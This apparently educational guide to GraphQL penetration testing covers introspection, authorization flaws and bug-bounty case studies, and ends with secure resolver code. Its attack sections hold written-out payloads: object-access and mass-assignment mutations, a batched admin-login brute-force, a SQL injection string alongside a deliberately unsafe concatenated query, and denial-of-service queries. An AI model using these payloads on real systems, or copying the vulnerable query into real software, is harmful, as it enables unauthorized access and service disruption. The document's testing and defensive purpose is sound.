# GraphQL Security Testing: Advanced Techniques & Real-World Exploits
GraphQL Security Testing: Advanced Techniques & Real-World Exploits
"In 2023-2024, GraphQL vulnerabilities accounted for over $2.5M in bug bounty payouts across major platforms. The attack surface is massive, yet most testers still approach it like REST."
APIs power modern applications, and GraphQL has quickly become a first-class choice for building them. Its flexibility, strong typing, and single-endpoint design are great for developers, but they also introduce unique security challenges that many organizations fail to address.
This guide walks through the main GraphQL attack surface, advanced exploitation techniques, and a practical testing methodology used in real-world pentests and bug bounty programs.
//Table of Contents
- 1.Why GraphQL Security Feels Different
- 2.GraphQL 101 – Security Essentials
- 3.Threat Modeling with OWASP API Top 10
- 4.Common GraphQL Vulnerabilities
- 5.Advanced Exploitation Techniques
- 6.Security Testing Methodology
- 7.Tooling Arsenal
- 8.Real-World Case Studies
- 9.Secure Resolver Patterns
- 10.Closing Thoughts
- 11.References & Further Reading
//1. Why GraphQL Security Feels Different
GraphQL looks simpler on the surface: one endpoint, one POST, one JSON body. From a security perspective, that is deceptive.
▶Key Differences vs REST
| Aspect | REST | GraphQL |
|---|---|---|
| Endpoints | Multiple URLs | Single /graphql |
| Data Control | Server decides | Client decides |
| Documentation | OpenAPI/Swagger | Introspection |
| Rate Limiting | Per endpoint | Complex (per query) |
▶The Hidden Attack Surface
- ➜Single endpoint, massive surface: Instead of many URLs, you get a single "/graphql" endpoint hiding hundreds of operations.
- ➜Client-driven queries: Clients choose which fields to fetch and how deep to traverse. Powerful for UX and attackers.
- ➜Strong typing, weak authorization: The schema enforces types, not access control. Most bugs live in resolver logic.
- ➜Batching and aliases: Attackers can bypass traditional rate limiting with multiple operations in one request.
To test GraphQL effectively, you must treat the schema and the resolvers as your primary attack surface, not the URL map.
//2. GraphQL 101 – Security Essentials
▶Schema, Queries, and Mutations
The schema defines types, fields, queries, mutations, and subscriptions. It is the contract of the API and the map of everything that might be abused.
query GetUser {
user(id: "123") {
id
email
phone
}
}
mutation UpdateEmail {
updateUserEmail(id: "123", email: "new@example.com") {
id
email
}
}
▶Subscriptions (Often Overlooked!)
Subscriptions maintain persistent WebSocket connections for real-time data. They are frequently forgotten in security reviews:
subscription OnNewMessage {
messageAdded(roomId: "secret-room") {
content
sender { email }
}
}
▶Resolvers
Resolvers are functions that implement each field. For example, the resolver for "user" might perform a database query. This is where most vulnerabilities live: insecure access control, unsafe queries, injection, and business logic flaws.
▶Introspection
Introspection lets you query the schema itself – a complete API map for attackers:
query {
__schema {
types {
name
fields { name }
}
}
}
Pro tip: Even when introspection is disabled, use field suggestion errors to enumerate:
query { user { passwor } }
# Error: "Did you mean 'password' or 'passwordHash'?"
//3. Threat Modeling with OWASP API Top 10
| OWASP Risk | GraphQL Manifestation | Severity |
|---|---|---|
| API1: BOLA | Direct object access via IDs | Critical |
| API2: Broken Auth | Missing auth on mutations | Critical |
| API3: Excessive Data | Field-level over-fetching | High |
| API4: Resource Limits | Query complexity DoS | High |
| API5: Function Auth | Admin mutations accessible | Critical |
| API6: Mass Assignment | Input type manipulation | High |
| API8: Injection | Resolver SQL/NoSQL injection | Critical |
//4. Common GraphQL Vulnerabilities
▶4.1 Broken Object Level Authorization (BOLA)
The #1 GraphQL vulnerability. Found in over 60% of GraphQL APIs during pentests.
query {
user(id: "123") {
id
email
phone
}
}
If the resolver returns data without verifying ownership, any user can enumerate others by iterating IDs.
Pro tip: Always test with UUIDs too. Developers assume UUIDs are "unguessable" but they leak in URLs, logs, and API responses.
▶4.2 Broken Function Level Authorization
mutation {
createAdminUser(email: "attacker@example.com") {
id
role
}
}
Real-world finding: A major SaaS platform had an "updateOrganizationSettings" mutation only protected by authentication, not role checks. Any org member could modify billing, SSO, and user limits. Bounty: $12,000.
▶4.3 Excessive Data Exposure
query {
user(id: "123") {
id
email
passwordHash
resetToken
permissions
}
}
▶4.4 Mass Assignment
mutation {
updateUser(id: "123", input: {
role: "admin",
isVerified: true
}) {
role
}
}
Backend blindly maps input? Attackers set "role", "tenantId", or "isAdmin".
▶4.5 GraphQL Injection
query SearchUsers($q: String!) {
searchUsers(query: $q) {
id
email
}
}
If resolvers build queries with untrusted input:
db.query("SELECT * FROM users WHERE name LIKE '%" + args.query + "%'");
Payloads like "' OR 1=1--" cause SQL injection.
▶4.6 Denial of Service via Query Complexity
Deep nesting:
{
user(id: "123") {
friends {
friends {
friends {
friends { id }
}
}
}
}
}
Alias-based amplification:
{
a: expensiveOperation { data }
b: expensiveOperation { data }
c: expensiveOperation { data }
}
//5. Advanced Exploitation Techniques
▶5.1 Batching Attacks
Send multiple operations to bypass rate limiting:
[
{"query": "mutation { login(user: \"admin\", pass: \"pass1\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"pass2\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"pass3\") { token } }"}
]
▶5.2 Field Duplication
query {
user(id: "1") {
role
role: email
}
}
▶5.3 Directive Abuse
query {
user @include(if: true) {
secretField @skip(if: false)
}
}
//6. Security Testing Methodology
▶Step 1: Endpoint Discovery
Common paths: /graphql, /api/graphql, /v1/graphql, /gql, /query
Confirm GraphQL:
POST /graphql HTTP/1.1
Host: target.com
Content-Type: application/json
{"query": "{ __typename }"}
▶Step 2: Schema Enumeration
Introspection enabled:
query {
__schema {
types {
name
kind
fields { name }
}
}
}
Introspection disabled: Use Clairvoyance tool or field suggestion errors.
▶Step 3: Authorization Testing Matrix
| Operation | Unauth | User A | User B | Admin |
|---|---|---|---|---|
| getUser(A) | ❌ | ✅ | ❌ | ✅ |
| updateUser(A) | ❌ | ✅ | ❌ | ✅ |
| deleteUser(A) | ❌ | ❌ | ❌ | ✅ |
//7. Tooling Arsenal
| Tool | Purpose | Key Feature |
|---|---|---|
| InQL | Burp Suite extension | Schema analysis, query generation |
| GraphQL Voyager | Visual schema explorer | Interactive graph visualization |
| Clairvoyance | Schema inference | Works when introspection is disabled |
| BatchQL | Batch attack testing | Rate limit bypass detection |
| graphql-cop | Security scanner | Automated vulnerability checks |
| graphw00f | Fingerprinting | Identifies GraphQL engine type |
//8. Real-World Case Studies
▶Case Study 1: GitHub GraphQL IDOR ($10,000)
Source: HackerOne Report #489146
A security researcher discovered that GitHub's GraphQL API allowed unauthorized access to private repository data through nested object relationships. By traversing from a public repository to its organization, then to other (private) repositories, the researcher could access private issues, pull requests, and commit data.
Vulnerable Query Pattern:
query {
repository(owner: "org", name: "public-repo") {
owner {
... on Organization {
repositories(first: 100) {
nodes {
name
isPrivate
issues(first: 10) { nodes { title body } }
}
}
}
}
}
}
Key Takeaway: Always test nested object relationships for authorization gaps. Object-level access control must be enforced at every resolver, not just top-level queries.
▶Case Study 2: Shopify Mass Assignment ($6,300)
Source: HackerOne Shopify Program - 2019
Shopify's GraphQL mutations for updating shop settings accepted input fields that weren't exposed in the UI or documentation. By inspecting the schema via introspection, a researcher found hidden fields like "plan_name" and "billing_address" that could be modified through direct API calls.
Exploit Pattern:
mutation {
shopUpdate(input: {
plan_name: "enterprise",
billing_email: "attacker@evil.com"
}) {
shop { plan_name }
}
}
Key Takeaway: Never trust client input. Explicitly whitelist allowed mutation fields and validate against a strict schema.
▶Case Study 3: HackerOne Staging Introspection ($2,500)
Source: HackerOne Security Team Disclosure - 2020
HackerOne's staging environment had introspection enabled, exposing internal queries and mutations used for admin operations. These included user impersonation endpoints, report manipulation mutations, and internal analytics queries not available to normal users.
Discovery Query:
query {
__schema {
mutationType {
fields {
name
args { name type { name } }
}
}
}
}
Key Takeaway: Disable introspection in production AND staging. Use environment-specific configurations and audit all deployments.
▶Case Study 4: Facebook GraphQL Batching DoS
Source: Facebook Bug Bounty Program - 2018
Researchers demonstrated that Facebook's GraphQL endpoint could be overwhelmed using batched queries with deeply nested fragments. A single HTTP request containing 1000+ operations with alias amplification could consume significant server resources.
Key Takeaway: Implement query complexity analysis, depth limiting, and per-operation rate limiting—not just per-request limits.
//9. Secure Resolver Patterns
Always verify authorization in resolvers:
const resolvers = {
Query: {
user: async (_, { id }, context) => {
// Check authentication
if (!context.user) {
throw new AuthenticationError('Not authenticated');
}
// Fetch the user
const targetUser = await User.findById(id);
// Check authorization (IDOR prevention)
if (targetUser.id !== context.user.id &&
!context.user.roles.includes('ADMIN')) {
throw new ForbiddenError('Not authorized');
}
return targetUser;
}
}
};
Query Complexity Analysis:
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
depthLimit(10),
createComplexityLimitRule(1000, {
onCost: (cost) => console.log('Query cost:', cost),
}),
],
});
//10. Closing Thoughts
GraphQL is not inherently less secure than REST, but it is different. The combination of a powerful schema, flexible queries, and centralized resolver logic means that:
- ➜Attackers get rich discovery and exploitation opportunities if you are careless.
- ➜Defenders get a clear, structured place to apply robust security controls.
If you approach GraphQL with a REST mindset, you will miss vulnerabilities that live in the graph itself: object relationships, resolver chains, and complex mutations. If you treat the schema as your true attack surface and systematically test it using the techniques in this guide, you can find and fix serious issues before someone else does.
Whether you are a pentester, bug bounty hunter, or backend engineer, the goal is the same: understand how GraphQL changes the game, and then adapt your security practices accordingly.
//11. References & Further Reading
▶Official Documentation
- ➜GraphQL Specification: https://spec.graphql.org/
- ➜Apollo Security Best Practices: https://www.apollographql.com/docs/apollo-server/security/
- ➜Hasura Security Documentation: https://hasura.io/docs/latest/security/
▶Research Papers & Talks
- ➜"Hacking GraphQL" - Pete Corey (DEF CON 27)
- ➜"GraphQL: A Query Language for Your API" - Lee Byron (Facebook)
- ➜"Exploiting GraphQL" - Nikolas Poniros (OWASP)
▶Tools
- ➜InQL Scanner: https://github.com/doyensec/inql
- ➜GraphQL Voyager: https://github.com/graphql-kit/graphql-voyager
- ➜Clairvoyance: https://github.com/nikitastupin/clairvoyance
- ➜graphw00f: https://github.com/dolevf/graphw00f
- ➜graphql-cop: https://github.com/dolevf/graphql-cop
- ➜BatchQL: https://github.com/assetnote/batchql
▶Bug Bounty Reports
- ➜HackerOne Disclosed Reports: https://hackerone.com/hacktivity?querystring=graphql
- ➜Bugcrowd GraphQL Disclosures: https://bugcrowd.com/disclosures
- ➜GitHub Security Advisories: https://github.com/advisories?query=graphql
▶Cheatsheets
- ➜OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- ➜PortSwigger GraphQL: https://portswigger.net/web-security/graphql
- ➜PayloadsAllTheThings GraphQL: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection